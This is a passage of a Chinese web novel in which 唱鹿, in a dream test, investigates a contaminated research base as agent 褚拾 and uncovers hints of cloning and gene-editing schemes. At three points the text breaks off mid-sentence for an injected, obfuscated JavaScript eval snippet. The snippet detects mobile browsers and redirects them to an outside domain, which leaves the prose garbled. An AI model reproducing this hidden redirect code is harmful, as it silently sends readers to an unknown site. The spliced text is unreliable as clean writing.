如果每天都有类似的事发生,说明这种污染确实无孔不入。 也许在玩家看来,没有坍缩污染的虚拟世界,的确如同天堂一般。 检查完备用弹夹,唱鹿说:“没有异常。” 雪鸮颔首,“记住一点。先保住性命,再完成任务。” 唱鹿看向他。 又来了,那种悲伤到极致的感觉。 好像多看一眼都会让她难过到把泪水流干。 雪鸮回以不解的眼神,“我长得很奇怪吗?” 唱鹿扯动嘴角,抑制住悲怆的情绪,勉力挤出一个微笑,“不奇怪。” 到底是褚拾在难过? 还是她在难过? 按照正常入梦逻辑,应该是她感觉到悲伤。 可这个梦境不能套用常理,所以她也不明白,只能默默挪走目光,尽量减少和雪鸮接触。 说话间,警车开进了封锁区的边缘。 危机处理部的人在外围设置二十多个投射装置,同时启动后会形成一个绿色的屏蔽罩,将污染源困在里面。 阿尔法小队的人轮流下车。 在负责看守封锁区的危机处理部同僚的指引下,来到最安全的出入位置。 “里面情况怎么样?”雪鸮询问看守人。 “不乐观。半个小时前还能观察到楼内有人走动,现在已经完全没有动静了。” 短发女人扛着一把狙击枪,站姿飒爽,“里面的东西没出来吧?” 看守人摇头,“我们每隔半个小时检查一遍投射装置,屏蔽罩的每一个部位都很完整,不可能有污染泄露。” “那就好。”长发女人冷声道,“省得我们再全员出动一次。” “如果人们能少点好奇心就好了。”高个的男人说,还抬头看了眼天空,“少惹麻烦,还能活的更久一些。” 雪鸮给手枪上膛,“准备好了吗?” 众人点头。 雪鸮给看守人递了个眼神,对方接收到后麻利地关掉手边的那台透射装置。 须臾间,通体泛绿的屏蔽罩下方出现一个极其狭窄的小缺口。 每个人都需要伏低身子并弯腰才钻进去。 先进去的持枪保持戒备,等到所有队员都到齐才放下警觉。 雪鸮最后一个进来。 他刚站稳脚步,便抬起右手,“时间。” 其他人也抬手。 唱鹿见状照做。 她发现自己手上戴着一个手表样式的通讯器,小屏幕上显示出现在的时间。 09:23。 他们都在等。 等了一分钟,雪鸮才说:“现在是早上九点二十四分。每个分组有半个小时的时间对各自的区域进行搜索,半个小时结束,不管你在做什么都必须回到这里集合。倒计时三秒——” “三。” “二。” “一。” “行动计时开始。” 其他人各自朝目标区域散去。 雪鸮和唱鹿也往双子楼方向走,不多时便站在了大门外。 这里是坍缩污染爆发的起始点。 本该因工作时间而忙碌的大楼内部,如今已是死寂一片。 “该进去一探究竟了。” “嗯,走吧。” 57. 基因 057. 双子楼由防盗玻璃构成的大门紧闭。 雪鸮正在核验身份开门,唱鹿则走到门前,尝试通过玻璃的磨砂面判断出楼内的情况。 很遗憾,什么都没看出来。 磨砂面映出的背景一派死寂,只要没有活物,就不会出现任何变化。 看守人也说过情况不乐观。 说白了,里面十有八九已经没有幸存者了。 危机处理部在得知科研基地存在污染源后,第一时间远程封锁了大楼的门窗以及所有通风管道。 为了防止污染泄露,也变相阻断了幸存者的生路。 而从污染爆发,到阿尔法小队赶到现场。 仅仅一个半小时不到。 唱鹿脊背发凉,心里也有点毛毛的。 该是一种什么样的污染,才能在如此短时间内让一切归零。 “嗒。” 锁开了。 唱鹿下意识后退,不料却撞到雪鸮身上。 她往旁边撤步,“不好意思。” 雪鸮个头很高,看她必须垂眸,“害怕吗?” 她不答反问,“我们可能会死在里面,对吧?” 雪鸮倒是实诚,“对。” 唱鹿轻叹,“人类对死亡的恐惧是与生俱来的。” 雪鸮的视线一直锁定在她的脸上,“其实坍缩污染没有人们想象中的那么可怕。” 唱鹿斜睨他。 等着他的后续发言。 “坍缩污染的核心地带在边陲小镇以北,我们称之为坍缩污染区。它就像混沌的温床,不断滋生出污染源。污染源会感染其他健康的人,但被感染的人不会再继续传播坍缩污染。”雪鸮一面说,一面推门走进双子楼,“找到污染源,消灭它,一切就会恢复正常。” “被感染的人也会恢复正常?” 正好走到前台,雪鸮停下脚步。 他有些遗憾道:“暂时还没有彻底治疗感染的方法,所以学院才想从根源下手,对人类的基因进行改造。” 坍缩污染,基因改造。 这些在唱鹿听来如同天方夜谭的概念,却是现实世界居民的日常生活。 雪鸮将前台的投影屏扭转过来。 屏幕还亮着,显示今日整个科研基地的上班打卡情况。 唱鹿往屏幕上扫了眼。 没有缺勤,但有两名员工迟到。 整个科研基地,上下四层。 今天来上班的一共一百七十八号人。 理论来讲,第一层至少能分到十来个员工。 现在竟然一个也没见着。 而且,太安静了。 不仅仅是这一层,整栋大楼悄无声息。 氛围十分诡异。 雪鸮抛开投影屏,就地蹲下。 他从口袋里取出一个乒乓球大小的球体,按下球面突起的小开关。 球体中间出现一条裂缝,冒出蓝光的同时腾空而起。 它以迅雷不及掩耳之势弹射出去,环绕扫瞄整一层,又飞回来。 雪鸮伸出戴着通讯手环的右手。 球体感应到数据接口,射出一道蓝光至手环的小屏幕上。 [传输进度:30%——] [传输进度:70%——] [传输进度:100%——] [正在展开全息地图——] 下一秒,一个完整的双子楼一层地图在空中建立起来。 地图上只有两个绿点,代表两个活人。 毫无疑问,是唱鹿和雪鸮。 雪鸮本就严肃表情变得更加凝重。 他预判这一层没有活人,可没想到连尸体都不存在。 “褚拾。”雪鸮把扫描球收起来,“你去检查左边,我去右边看看。如果没有特殊情况,就往上走。” “好。” 唱鹿刚往左迈出一步,被雪鸮拽了下胳膊。 她停住回头,见他皱着眉头说:“这栋双子楼的情况可能比我们想象的复杂,我会联系其他人尽快赶来帮忙。你千万要小心谨慎,有情况随时联系我,知道吗?” 不行。 这人流露出的关心越多,唱鹿越觉得难过。 奇怪之余,她也在勉力控制这种蓬勃欲要爆发的悲伤。 尽量不要表现出来,让雪鸮察觉出端倪。 唱鹿努力让声音听起来平静,“知道。” 雪鸮颔首,深深看了她一眼,没再说什么。 他转身朝右而去,一次都没有回头。 唱鹿望着他的背影,油然生出一种强烈的直觉。 梦境结束,她会彻底忘记他。 忘记他的容貌。 忘记他的名字。 包括,忘记他的性别。 他在她脑海里将会是一个模糊的轮廓,永远无法被她记住。 为什么呢? 为什么会有人一见面,她就知道必然会遗忘…… 可能是因为这本就是一场幻梦。 一场关于现实的梦,可她只是一串属于虚拟世界的数据。 唱鹿阖眼摇头,甩开这些杂念。 都不重要,必须尽快结束这场古怪的入职测试才行。 于是持枪朝左走去。 这栋双子楼的构造特殊。 它的第一层相连,第二层到第四层才分开,且每一层的中间由玻璃通道连接。 一楼以前台为界限,划分左右。 左侧等候厅和休息室,右侧科研产品展示区。 唱鹿进入等候厅。 和大多数等候厅一样,厅内有成排的椅子。 每一面墙上都悬着一面光屏,正播放着缉查局的宣传片。 宣传片的内容主要是介绍缉查局的日常工作。 什么维护治安,什么服务人民,还有制止犯罪、处理坍缩污染。 这些都不是重点。 重点在于影片后半段对基因改造的宣扬。 影片声称,基因改造工程是全知学院的研究成果。 全知学院通过提取并净化坍缩污染生物的细胞分子,将其与人类细胞融合,进而使人类进化为新人类。 新人类将会对坍缩污染有更高的抗体,更加难以被感染。 全知学院的院长单清远对着镜头介绍道:“学院正在考虑基因改造工程的新方向。先前我们已经成功让新人类具备了夜行能力或者是光合能力,接下来我们会重点将基因改造放在动物性融合上。比如让新人类更超群的听力,以及抵御严寒的能力。或者是,拥有坚不可摧的皮肤。目前为止,学院的研究还被拘束在‘必须保持旧有人类的外观’的概念里,我希望接下来可以带领学院突破这一桎梏。” 唱鹿的大脑飞速运转。 夜行能力和光合能力,是追月族和逐日族? 那超群的听力和能够抵御严寒,坚不可摧的皮肤……是兽耳族和角鳞族? 所以,虚拟游戏中自然存在的六大种族。 在现实世界是基因改造的结果? 宣传片戛然而止。 唱鹿呆呆地看着暗掉光屏,心中五味杂陈。 原来两个世界之间的距离也没有那么远。 也是,虚拟世界本就是基于现实世界而被创造出来,是现实的投射。 那她呢? 她又是现实中谁的影子呢? 忽然,光屏飘起雪花。 一串噪音过后,一段新的影像出现了。 看背景应该是在某座城市的大街上,建筑风格和伽马地区很类似。 有人在调整镜头,于是画面摇晃着从高楼大厦转到了一个男人脸上。 男人的表情很复杂。 他愤怒,又夹带着恐惧。 眼睛一直不安地往左右瞟,像是怕会被人发现。 “这是一场骗局。”男人咬牙切齿地说,“基因改造就是一场彻头彻尾的骗局!” 他把镜头攥在手里,屏幕黑了。 等到画面重新亮起来,男人已经从大街上进入一间屋子里。 因为没有窗户,屋内很暗。 一颗暖黄色灯泡悬在角落里,投下的光圈笼着一个蜷缩的人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061310|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那人用肮脏的破布包裹住自己的身体,只露出两只干瘪如同枯枝的手臂。 像一只幽灵。 “是我,我回来了。” 男人在他跟前蹲下,掀开那层破布。 唱鹿不知道该怎么形容这个画面。 破布下的人,他正在腐烂、融化、扭曲。 他的脸已经没了五官也没有皮肉,头颅正面如同一个黑洞,随着呼吸而起伏。 稍微一动,黑洞里的不明物质还会被拉扯出来,好似刚添上画布的颜料被蹭了一道。 男人也不敢触碰他。 只是紧紧抓住那人的手,继续说:“坍缩污染不会放过每一个人,哪怕你接受了基因改造也没用。不,如果你真的接受了基因改造,你只会感染得越快。” 无脸人浑身颤抖,发出呜呜的哭泣声。 可他早已没了眼睛,根本流不出眼泪,反而让黑洞里的物质淌了出来。 男人吓了一跳,连忙用破布盖住无脸人,迅速退出了房子。 “他很快就会死了。”男人反复地说,“他很快就会死,很快。” 紧接着,他把镜头怼到自己脸上。 整个画面都是他充满惊恐的眼神,细微发颤的瞳仁。 “如果你能看到这只影片,一定要把真相传播出去。” “都是骗局!全知学院是骗子窝点,三大联盟是骗子的帮凶!没有人能够抵御坍缩污染,没有人!” “我们的世界,这是一片神弃之地,我们都是被抛弃的灵魂……” 影片结束。 光屏重新飘起雪花,仿佛什么都没发生过。 一行字突然在唱鹿眼前弹出。 [副本任务:调查科研基地。] [描述:你在任务中意外发现基因改造隐藏着不为人知的秘密,并不完全对人类有益。也许,你脚下的这座科研基地就会有真相呢?] [任务进度:25%] [任务要求:调查基地一楼(已完成)] [任务要求:调查基地二楼(未完成)] [任务要求:调查基地三楼(未完成)] [任务要求:调查基地四楼(未完成)] 唱鹿皱起眉头。 为什么在梦境里还会有任务出现? 还有,怎么没写奖励是什么? [温馨提示:不论命运走向何方,你永远都有选择。] - 唱鹿握住门把手,使劲下压。 眼前的门纹丝不动,甚至都没发出声音。 唱鹿:“……” 真想一枪把门把手崩了。 忍住。 身上携带的子弹有限,且还有三层楼要逐一调查。 虽说她有徒手变武器的赐福,可如果在子弹耗尽时,抵达的某一层正好是空的呢? 多手准备总是没错。 这扇门的后方是楼梯。 唱鹿有一个习惯,如果身处某种未知的危险中,她会更倾向于保险稳妥的选择。 电梯和楼梯。 明显前者更容易发生故障,所以她才想走楼梯。 但亲测楼梯的门彻底锁死,只能不情愿地回去坐电梯。 好在电梯并没有发生什么惊魂事件,顺利地升上了二楼。 随着叮一声响,电梯门打开。 唱鹿正垂眼沉思,随着开门而抬眸。 然后,愣住。 真是活见鬼了。 寂静无声的黑夜,飘摇泼洒的细雨。 破旧路灯照亮雨中的一个角落,风与雨在光柱中拉扯。 她嗅到潮湿泥泞的空气中有一股腐烂的气息,是地上堆积的垃圾散发出来的。 幻觉? 还是时空又再度扭曲了? 唱鹿不敢直接走出去,小心翼翼地伸出右手。 绵绵雨落在她的掌心,留下湿润的触感。 这里好像是一片垃圾场。 可她明明在研究基地里,电梯也还是基地的电梯。 难道…… 她穿越了? 58. 溺水 058. 唱鹿下意识往后退。 直退到后背贴住电梯的金属壁面,凉意透过衣服侵入她的身体。 这个梦境太诡异了。 完全超出了她对入梦的理解范围,处处充斥着危险的气息。 她必须呆在电梯里才有一点安全感。 于是伸手去按关门键。 一下,两下。 电梯岿然不动,只将大门敞开,邀请她出去。 很好。 现在仅剩的安全感也荡然无存了。 唱鹿不想出去。 深夜,飘雨,垃圾场。 这三个要素结合在一起,准没好事。 她沉默观察四周,想要找寻另一个可能的出口。 结果又发现一件奇怪的事。 电梯除了门之外,完全是一个封闭的长方体。 它没有曳引系统,因此轿厢顶部也不存在向上的开口。 真是没有一处正常! 她的视线落在电梯斜对的壁面上。 金属光滑,倒映出一张脸来。 五官清秀,目光坚定。 年轻的脸上满是倔强,好像不论发生何事都无法把她压垮。 这是唱鹿第一次看见褚拾。 入梦之后,她已经在不知不觉中变成了另一个人的模样。 唱鹿还蛮喜欢这张脸的。 没有漂亮到让人一眼难忘,可自有她独特的气质在。 最重要的,她对她有一种说不清道不明的亲密。 好像彼此熟识,久别重逢。 褚拾,如果是你遇到我现在这种情况,你会怎么做呢? 唱鹿在心中问道。 几乎是同时,她有了答案。 那就出去看看。 逃避解决不了任何问题,恐惧也不会因为逃避而消失。 唱鹿再次握紧手中的枪。 枪把已经被她捂暖了,掌心还有点出汗,这是紧张的表现。 深呼吸,迈出电梯。 第一步还没站稳,一直悬挂在她视野范围右上角的那行字有了变化—— [任务进度:26%] 唱鹿的不安稍微减轻了些。 任务方向没错,的确是要调查这里。 可问题在于,一座垃圾场有什么好调查的? 能和研究基地、基因改造工程有什么关系? 难道说这座垃圾场负责处理研究基地产出的实验垃圾? 而这些垃圾山下面就埋葬着因实验失败导致死亡的受害者? 唱鹿收起天马行空的想象。 有太多细节在告诉她,垃圾场和研究基地没多大关系。 破碎的玻璃酒瓶,四分五裂的塑料袋,被切成两节的布艺沙发,扭曲的晾衣架。 厨余垃圾更多,半颗腐烂的苹果,择下来的烂菜叶,还有馊了的米饭。 全都泡在无尽的绵绵雨中。 只有一条路,泥泞不堪。 车辙印深深嵌入泥土里,因为下雨两侧已经开始积水了。 唱鹿沿着路往前走,一脚深一脚浅。 没一会儿裤腿便沾满了脏污。 夜太深,又下着雨。 垃圾场的照明设备匮乏,目前为止只见到一盏路灯。 一旦拐过前面的大弯,就会脱离那盏路灯的照明范围,彻底没入黑暗。 唱鹿的脚步变得缓慢。 垃圾场的垃圾堆积成山,她独自一人走在其中的小径上。 只能依靠远处模糊的轮廓辨别方向。 很难做到完全不害怕。 “咚、咚、咚。” 一颗玻璃弹珠从右侧的垃圾山滚落,精准无误地落在唱鹿的足尖。 她低头,继而抬头。 似乎是有人站在垃圾山的顶端。 渐渐看清了,那人穿着一身明黄色的雨衣,头戴兜帽,整张脸隐匿在黑暗中。 静静立于雨中,也不开口,只把手里的另一枚弹珠丢向唱鹿。 “咚、咚、咚。” 第二颗弹珠再次落在唱鹿足尖。 很明显,对方是想通过这个举动引起她的注意。 也的确成功了。 唱鹿立即将枪口对准那人,厉声问道:“你是谁?” 那人还是没说话,雕像般一动不动地立于高处。 看不到眼睛,但似乎是在凝视她。 几秒后,那人转身就跑。 唱鹿急喊道:“等等!” 她拔腿去追,可脚下的路况实在太差,根本跑不快。 好在那人没有一溜烟消失不见。 对方总会在一段距离后暂停下来,就好像是在等她。 等两人距离缩短,又会飞速翻越垃圾山,再度往更深处去。 唱鹿不停地追赶。 她的睫毛挂满雨珠,头发和衣服早就湿透了。 因为一路奔跑,浑身都在燃烧,丝毫不觉得冷。 终于。 她追上了穿雨衣的人。 穿雨衣的人站在一片宽阔的空地中央,身后是这座垃圾场的第二盏路灯。 这盏路灯和上一盏如出一辙,生锈,破旧,照明范围极小,也不够亮。 只因为那人穿的雨衣是明黄色,才会如此显眼。 唱鹿和那人保持着五米左右的距离。 不敢太靠近,生怕有诈。 然而这个距离还是不足以让她看清兜帽下的那张脸。 “你……” 话没问全,那人抬起手将兜帽往后掀。 唱鹿的后半句也随之哽在了喉头。 她从对方脸上看到了一张不久前才见过的脸。 这人竟然和褚拾长得一模一样! 如果仔细观察,还会发现身高和体型也差不多。 唯一较为明显的区别,那便是褚拾的眼神清澈坚定,而这人的眸中总有一抹解不开的愁思。 “你来了。”她说,“东西带来了吗?” 东西……? 疑思才在脑海里打了个转,唱鹿明显感觉到口袋里凭空多了什么。 硬的,冰的,紧紧贴着她的肌肤。 她伸手把它掏出来,对方也不约而同地做了同样的动作。 两人同时从各自的口袋里取出一条一模一样细银链子,链子上都有一块圆形的铭牌。 唱鹿的铭牌上刻着数字:10。 再看对方手中的,她的铭牌上刻着数字:0。 “这是我们的出生铭牌。”她说,“我是零,你是拾。” “我们是姐妹?” 那人没说话,深深打量着唱鹿的脸,“在见到你之前,我还不敢确定。现在我很肯定,我们有血缘关系。” 唱鹿没有接话,暗自思忖。 这么说来,褚拾和她在今天之前没见过面。 有血缘关系是肯定的。 两个长得一模一样的人,纵使不是双胞胎,也必定是亲姐妹。 “我们为什么会分开这么久?”唱鹿问。 “就我目前掌握的线索,你从小被送到第二区一户人家手里抚养长大,取名叫褚拾。而我,则被留在了沙獠里,我叫鄢零。”鄢零轻声道,说话嗓音和褚拾一模一样,“沙獠得知你三天后就要入职缉查局。他们准备让我取代你,以褚拾的身份加入缉查局,好为沙獠传递三区联盟的消息。” 唱鹿脑海中响起嗡一声。 可现在褚拾已经是缉查局的一员了……难道说,扭曲的不止空间,还有时间? 也就是说。 这里的确不是研究基地的二楼,而是另一个空间。 这里也不是她进入梦境时的时间线,而是更早之前! 重新捋一下。 褚拾和鄢零是从小不知何原因而被分开的姐妹。 褚拾在普通家庭里长大,而鄢零被沙獠——如果没猜错的话,这应该是一个组织,专门和三区联盟作对的组织——抚养成人。 褚拾毕业后被缉查局选中。 得到该消息的沙獠,决定让鄢零杀掉褚拾…… 可是以目前的情况来看。 褚拾没有死,她还是褚拾,并成功进入了缉查局。 因此可以反推出,鄢零没有对褚拾下手。 “我一直很怀疑铭牌上的数字代表着什么,我是零,你是拾,那中间的一到九呢?”鄢零说,“褚拾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064957|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我需要你配合我。你要成为我,我会继续调查我们的身世。如果有进展,我会想办法告诉你。” “你是想让我假扮成你,同时要假扮成被你假扮的我?” “是。” “……” (脏话消音)! 难怪褚拾还活着! 她现在可是一个双面间谍! 她是褚拾。 缉查部也认为她是褚拾,可沙獠以为她是取代了褚拾的鄢零。 而实际上,她是假扮成被鄢零假扮的褚拾! 唱鹿光是想想都替她觉得心累。 这种生活真是有点刺激过头了,每天担惊受怕,生怕一个不慎暴露身份。 双面间谍一旦被人察觉。 缉查部自然不会放过她,沙獠必然也不会容忍她的欺骗。 敢于主动把自己放到两难的境地里。 唱鹿实在很佩服褚拾。 她一定很想知道自己的身世,很想知道自己是谁。 这种渴望战胜了一切恐惧。 “相信我,我一定会找答案。”鄢零说,“你要等我,一定要等我。” 话语方落,天边惊雷炸响。 落雨变得激烈,有狂风不知从何处呼啸而来。 [任务进度:50%] [任务要求:调查基地一楼(已完成)] [任务要求:调查基地二楼(已完成)] [任务要求:调查基地三楼(未完成)] [任务要求:调查基地四楼(未完成)] [温馨提示:夹层梦境正在坍塌,请在一分钟内离开。] [倒计时:60秒] 唱鹿已经飚了满脑子的脏话。 她清楚地看到整座垃圾场正在分解。 那些玻璃、金属、木块、砖石,全都化作细分子飘向无光的黑夜。 路灯频繁闪烁,直到彻底熄灭,也从顶部开始消散。 [倒计时:50秒] 鄢零还站在那片空地中央。 她的身影不再立体,像是一段被禁锢住的影像,不断地重复着那句: 相信我,我一定会找答案。 你要等我,一定要等我。 [倒计时:45秒] 唱鹿往她身上扫了眼,没有犹豫,拔腿就往回跑。 也顾不上能不能看清路了,反正就跑,一直朝前跑。 遇到障碍物就跨。 遇到垃圾堆就爬。 没什么能抵挡她的求生欲。 [倒计时:30秒] 她看到来时的第一盏路灯了! 它的灯泡也在闪烁,坍塌很快会蔓延到这里,将它吞没。 [倒计时:20秒] 快,快,快。 加速,加速! 再跑快一点,马上就到电梯了。 [倒计时10秒] 唱鹿如同发射的子弹般冲入电梯。 她来不及刹车,情急之下稍微侧身,左半边身子猛地撞到了电梯壁面上,紧接着滑坐到地上。 [倒计时5秒] 电梯门正在缓缓合并。 唱鹿通过门缝望出去,什么都消失了。 只剩一片虚无。 * 联邦第十三分局,十七楼As712房。 苍镹和伊莱莎站在立式盐池前方,并肩观察着里头的唱鹿。 入梦后的人,一般都会很安静。 就像此刻的唱鹿。 但有时也会出现另一种状态,被称为溺水。 溺水代表入梦者在梦境中遇见致命危险却醒不过来,这时便需要隐者入梦将其带回现实。 “按照记录和时间换算,她在梦里应该快要遇见变异体了。”伊莱莎说,“怎么样,有没有兴趣来赌一把?” 苍镹目不斜视,“我赌她可以。” 伊莱莎扫了眼盐池里的唱鹿,“那我就赌她会溺水好了。五,四,三,二,一——” 盐池里的唱鹿突然有了变化。 她张开嘴巴,大串的泡泡从口鼻处涌出,似乎快要窒息。 伊莱莎微微一笑,“我赢了,今天的下午茶你请客。” 59. S.0.S 059. 唱鹿坐在电梯里,胸口起伏着。 剧烈运动过后呼吸还没缓过来,电梯已经升上至三楼,再次打开大门。 这无疑是一种催促。 催促她尽快出发去调查第三层。 唱鹿默默调整呼吸节奏,让浑身肌肉放松。 足有半分钟,她才扶着金属避免缓缓站起来。 二楼是垃圾场,三楼…… 好像是居民楼? 正对电梯的大门上贴着福字,门外头还有一袋垃圾。 垃圾袋黑色半透明,看得见里头有压扁的易拉罐。 她有点摸到规律了。 每一层都是时空扭曲的产物,壮起胆子去调查就完事了。 假如遇到危险,立马跑。 只要能跑回电梯,她就是安全的。 唱鹿探出头去,眼睛转溜一圈。 装潢有点像青年公寓,走的时尚简约风。 但估计有些年头了。 墙漆褪色,壁面鼓包,踢脚线有明显的裂缝。 楼上有人开门,门轴的声音简直响彻云霄。 关门更不必说,比打雷还震撼。 唱鹿走出电梯,继续扫视周遭的环境。 有一说一,对比飘雨的深夜垃圾场,这种青天白日下的公寓更让人安心。 “喂,让一让。”有人在背后说话。 唱鹿立即回头。 不知何时,电梯已经消失了,取而代之的是公寓的步梯。 楼梯口有个年轻的男人。 特别瘦,黑眼圈比伊莱莎还重,眼白布满红血丝。 整个人极为颓唐。 他右手的购物袋里装满啤酒。 因为唱鹿挡在楼梯口,男人不得不频繁换手,减轻手提重物的不适。 唱鹿赶紧让开,“抱歉。” 男人有些怨念地看了她一眼,到底没说什么,沿着走廊往深处走。 男人才离开,楼梯口正对的门开了。 走出来一对情侣,两人都打扮过,应该是要出去约会。 其中的女生一见到她,立即露出灿烂的笑容。 还过来拉她的手,“褚拾,你下班啦?” 唱鹿终究不是褚拾,也不认识这个女生是谁。 冷不丁被人一拉手,她下意识就往回抽,叫对方着实愣了下。 “噢,我在研究室里摸了点东西,你最好别碰我。”唱鹿连忙解释。 女生了然,也表示理解,“缉查局很忙吧?难得看见你这么早下班。” 她的男朋友也说:“念念一直惦记着你,毕业后都没时间聚一聚。” 唱鹿摆出一副无奈表情,“有空一定。” 一番寒暄过后,念念的男朋友忽然凑近半步。 他看似寻常,实则颇有深意地问道:“你住在最尾间,光线不好吧?” 唱鹿还没开口,走廊深处传来开门声。 是那个神情颓唐的年轻男人。 他才提着购物袋进屋,又拎着两袋垃圾出来。 念念和她男朋友都警惕地朝男人的方向看了眼,也往稍稍往墙边靠。 唱鹿保持在原来的位置没动。 未免引起怀疑,她假装无事地继续说:“光线是比你们这间差了点。不过还好,我上班忙,呆在家的时间不多。” 颓废男下楼了。 脚步声渐渐走远直至消失,念念才又从屋里出来。 她轻拽唱鹿的衣袖,示意唱鹿靠近点。 唱鹿照做,听见她在耳边说:“住你隔壁那男的,是不是个瘾君子?” 别说,确实挺像。 嗑药的人大多数削瘦,疲惫,精神不振。 但唱鹿只是借用了褚拾的身份,没有同步她的记忆,所以也无法判定颓废男到底是不是磕药了。 她摇头,“我也不确定。” “留点心眼。”念念的男朋友提醒道,“最近第二区的犯罪率很高,犯人有一半是瘾君子。他们为了钱,什么都做得出来。” “还有还有——”念念半拢手掌,避免声音泄露出去,“这附近的异教信徒变多了。他们最恨缉查局的人,你可千万一定要小心!” - 褚拾租的房子在走廊的尽头。 根据念念和她男朋友所言,颓废男应该住在褚拾隔壁,也就是倒数第二间房子。 许是经人提醒的缘故,经过隔壁门口时,唱鹿没忍住朝左瞄了一眼。 然后就停下了。 隔壁门上有个涂鸦。 用红色荧光笔画的,花里胡哨。 看得出是什么东西的标志,或者说符号。 唱鹿自觉没有艺术细胞,欣赏不来如此抽象的画作。 非要评价的话,她只觉得诡异。 不管是线条走向,还是绘画风格。 这副涂鸦透着一种难以描述的诡谲感。 唱鹿凑近观察。 发现荧光笔的痕迹还很新,转折处积墨未干。 可以判断出是不久前才画上的。 画这个做什么? 好玩? 房东也不管管吗? 唱鹿杵在门口好一会儿,萌生出一股冲动。 她想把涂鸦擦掉。 然而身上没有纸巾,一时也找不到抹布。 罢了,房东都不管。 她又何必费劲! 于是转身走向最后一间。 房子用的是指纹锁。 唱鹿把拇指贴上去,等待三秒便顺利打开了门。 褚拾租的是一个大单间。 没有客厅,进门即卧室。 卧室朝东是厨房和卫生间,朝北则连着小阳台。 阳台面积不大,只能让两个成年人并肩站着。 从外头照进来光线可以判断现在的时间应该是下午。 太阳还没下山,不过也快了。 唱鹿站在阳台里往外望。 很可惜,楼层太矮,只能看到其他公寓楼的墙面。 楼下倒是有几个流浪汉在翻垃圾桶,见怪不怪。 这里的租金一定很便宜。 唱鹿心道。 她折返屋内,以陌生的眼光打量着。 单人床,没叠被子。 双开门衣柜,紧闭着。 唯一一张桌子上有一本毕业证书,封面写着“第二区高等大学”。 掀开来,里面的内容更详细一些。 原来褚拾是第二区高等大学刑侦系的优秀应届毕业生。 难怪会被缉查局选中。 放下毕业证,唱鹿走向厨房。 极为强烈的直觉告诉她,厨房里有一台半人高的冰箱,冰箱里还有一块蛋糕。 椰蓉味的。 厨房内有冰箱很正常。 不正常的点在于,冰箱里还真有一块椰蓉味的小蛋糕。 为什么吃了一半? 因为她觉得奶油和椰蓉的组合太甜了,腻得慌。 唱鹿呆住。 奇怪,她怎么会知道褚拾在想什么? 本该属于褚拾的想法,此刻好像寄居在她身体里,随时随地冒出来。 要不是唱鹿清楚地知道自己果糖过敏,吃不了椰蓉,可能真的会混淆两人的思绪。 这么搞下去会不会精神分裂? (脏话消音),该死的入职测试! 唱鹿一时火气上头,猛然把冰箱门摔上。 蛮力之下,本就重心不稳的冰箱往后一摇。 原本摆在顶部的一个不起眼的小盒子顺势甩到了地上。 “滴——” 小盒子发出长鸣,像是在抗议她的暴力。 唱鹿顿时泄了气。 她叹叹,弯腰想把小盒子捡起来。 不想长鸣戛然而止。 几秒的静默过后,鄢零的声音从盒子里传出来。 “是我。” “我现在在坍缩污染区边缘的一座小镇里。事情有了一点进展,但不是好消息。” “我们……可能是复制人。” “滋——”杂音不请自来,阻断了鄢零的讲话“滋滋——” 唱鹿给盒子来上一巴掌。 又怕拍坏了,只能忍住。 耐心等到杂音减弱,鄢零的嗓音再度清晰。 “滋——除了你和我之外,还有九个‘我们’……滋滋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069019|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——我的代号是0,你的代号是10。” “她的名字叫尹夏桔……滋——她可能是我们的‘母亲’。” “滋——我不能确定,因为没有百分百的证据证明……滋滋——我会继续调查下去,虽然我不知道自己能不能接受最终的结果……” “希望你一切顺利,要小心身边的人。” 小盒子没声了。 不管唱鹿怎么尝试重启,它都不会再有任何反应。 唱鹿把它放回冰箱顶部,心中五味杂陈。 褚拾,鄢零。 全知学院。 三者已经在某种程度上联系在了一起。 如果褚拾和鄢零真的是复制人。 那么她们两个十有八九也是基因改造工程的产物…… 唱鹿作为独立的第三方。 以她的角度去看所谓的全知学院,还真是充满了阴谋的气息。 一边对现有人类的基因进行改造,美其名曰进化。 一边又在制造复制人,不知是何用意。 她不明白。 只对褚拾感到怜悯。 人活世上。 没有最惨,只有更惨。 调查至此,右上角的任务提示也有了变化—— [任务进度:65%] [任务要求:调查基地三楼(未完成)] 唱鹿蹙眉。 还差10%,说明她还忽略了一些东西…… 这时,隔壁突然响起撞墙声。 “咚、咚、咚。” 三短。 “咚——咚——咚——” 三长。 “咚、咚、咚。” 三短。 S.0.S! 唱鹿顿时寒毛立起,有人在用摩斯密码求救! - 